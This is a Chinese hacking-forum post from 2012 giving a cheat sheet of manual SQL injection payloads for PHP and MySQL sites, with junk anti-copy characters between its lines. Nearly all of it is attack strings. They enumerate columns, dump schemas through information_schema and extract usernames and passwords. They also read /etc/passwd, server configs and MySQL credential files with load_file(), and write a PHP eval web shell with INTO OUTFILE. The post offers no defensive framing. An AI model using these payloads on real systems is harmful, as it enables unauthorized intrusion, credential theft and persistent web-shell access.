中国网络渗透测试联盟
标题:
PHP+MySQL 手工注入语句
[打印本页]
作者:
admin
时间:
2012-9-15 13:50
标题:
PHP+MySQL 手工注入语句
.
. P* A' |7 L/ {; f( K/ p
9 |* d, ?6 ^3 S! F6 a
暴字段长度
6 |8 f% w. R7 B3 C3 c3 V
Order by num/*
! q: T6 P' r+ t S( `2 N0 _
匹配字段
: o+ Z0 H3 W% U* R2 x. R4 u0 x8 y
and 1=1 union select 1,2,3,4,5…….n/*
. f0 c5 d( w/ P
暴字段位置
1 V) b6 f- l" Y6 t9 |" L& @) b
and 1=2 union select 1,2,3,4,5…..n/*
* ^! Y+ E3 B, c' ]1 o6 J
利用内置函数暴数据库信息
. ]+ c4 T. y( \
version() database() user()
8 ]+ k! I+ E6 A4 O' X0 m
不用猜解可用字段暴数据库信息(有些网站不适用):
7 S$ c' y, ?$ ~$ V, C& h% _2 Z
and 1=2 union all select version() /*
c# v# b! A# Y* X9 p( p { g
and 1=2 union all select database() /*
9 N7 d5 c4 ?; B m) F
and 1=2 union all select user() /*
% O& ^; v2 u" N
操作系统信息:
: N% M8 f2 w1 r2 f4 u% r! J
and 1=2 union all select @@global.version_compile_os from mysql.user /*
$ f. e$ }9 _9 Z0 R/ v' g
数据库权限:
# B$ X' e1 f- M1 r) \
and ord(mid(user(),1,1))=114 /* 返回正常说明为root
3 a" t8 j* p. Z' w W3 s
暴库 (mysql>5.0)
4 `6 U" M# D. n x6 J
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
( s8 U0 ~5 q+ D4 b
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
: N& i ]! I& Q0 q1 F {! M
猜表
0 S O+ M9 j( X% d) l& x
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
" r: n! M4 u9 `/ v2 f! |+ ]
猜字段
9 {9 g/ X! X( |/ ?" N3 b* ~/ T
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
6 F8 P! k$ A* U" j
暴密码
: I. M+ B/ ^ J0 f: [! A
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
" W Z. e- f6 S5 e
高级用法(一个可用字段显示两个数据内容):
3 a! ]* k* [% Z; H+ Q/ u) C6 k+ X
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
* r6 E* Z) v& n/ W
直接写马(Root权限)
2 j* W5 _( h$ e) h$ A& y
条件:1、知道站点物理路径
4 N4 f. m) i, M1 z; Y
2、有足够大的权限(可以用select …. from mysql.user测试)
5 h8 Q- r1 j9 r8 W2 v3 V
3、magic_quotes_gpc()=OFF
( }6 [- H/ q5 ~
select ‘<?php eval($_POST[cmd])?>' into outfile ‘物理路径'
& D# A9 q4 K1 o
and 1=2 union all select 一句话HEX值 into outfile '路径'
1 X# x& Y2 N2 `: @- h4 v
load_file() 常用路径:
( m# F+ \% y) Q
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
6 Y2 m( H6 n5 I1 g. l4 k
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
r% T( Y, b/ c) S- `
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
- F- \6 L/ e; F \$ e, A- D6 L. E& ]
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
V/ f! F- C5 W0 [7 ^, g& Z" [
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
( K% p# E$ W; u$ q$ L# S! d
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
5 ~6 D$ V- D! b! R' q
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
8 Y6 \ n8 J, Q$ H4 x
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
1 n2 O" s, C& w# x4 g0 F
8、d:\APACHE\Apache2\conf\httpd.conf
4 c9 u1 J4 @7 J r: d/ _' J
9、C:\Program Files\mysql\my.ini
& ? `+ p* z2 U/ Q# g/ t5 _& b+ z7 a
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
+ _" m% r/ z3 C. p& C" A9 ~1 b
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
( S4 B6 C2 T; H a- n& f
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
" V: Q R2 y0 T9 Q2 J
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
# c6 I/ N3 K/ z2 F
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
1 D8 Y7 r1 s6 C* z& D6 f; A r! U3 d
15、 /etc/sysconfig/iptables 本看防火墙策略
* D) c: r$ P6 A; e% A: i
16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
8 {* N, d: A+ S' d7 _
17 、/etc/my.cnf MYSQL的配置文件
$ X8 x/ x8 u' S X3 h; M- ]
18、 /etc/redhat-release 红帽子的系统版本
% E6 \2 K) ^1 n6 L7 y2 S5 a3 k! }# f
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
, B- {" o' Z2 {& F
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
- m/ s& P8 x& L N% U; M/ d8 Y
21、/usr/local/app/php5 b/php.ini //PHP相关设置
3 c$ Q, q: V0 m3 G* X
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
! V: e; l+ s; }+ q" b8 G
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
$ J3 z% F" a. A0 |5 t' A8 R7 K9 F
24、c:\windows\my.ini
9 k( u# {- f5 \& `5 T9 g
25、c:\boot.ini
% D% s$ ~% N+ a4 [7 B; j) C! x- f
网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX),char(60),char(32))
- y3 I( D. c1 t/ w
注:
+ r- f7 U4 z( [+ r7 ~0 r( R& T" c$ Z
Char(60)表示 <
/ u' j7 I2 Z. i, I+ Q& ?' `
Char(32)表示 空格
% |% l) x( a' F
手工注射时出现的问题:
5 h( `8 e+ @8 [$ `, S5 L
当注射后页面显示:
8 I9 E, y7 F5 j5 v! P4 y( r/ T# V
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
. q, I/ V, O; e6 E, M* {+ O8 F. n
如:
http://www.hake.ccc./mse/researc ... 0union%20select%201
,load_file(0x433A5C626F6F742E696E69),3,4,user()%20
5 j6 ]( i; w0 s$ u: k
这是由于前后编码不一致造成的,
- u' O* ~3 G( O# _/ V
解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:
5 ?2 ?0 n. C- i! Z/ W5 ]
http://www.hake.cc/mse/research/ ... 0union%20select%201
,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20
5 A2 h/ L h8 f) c1 I1 v' J2 p
既可以继续注射了。。。
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2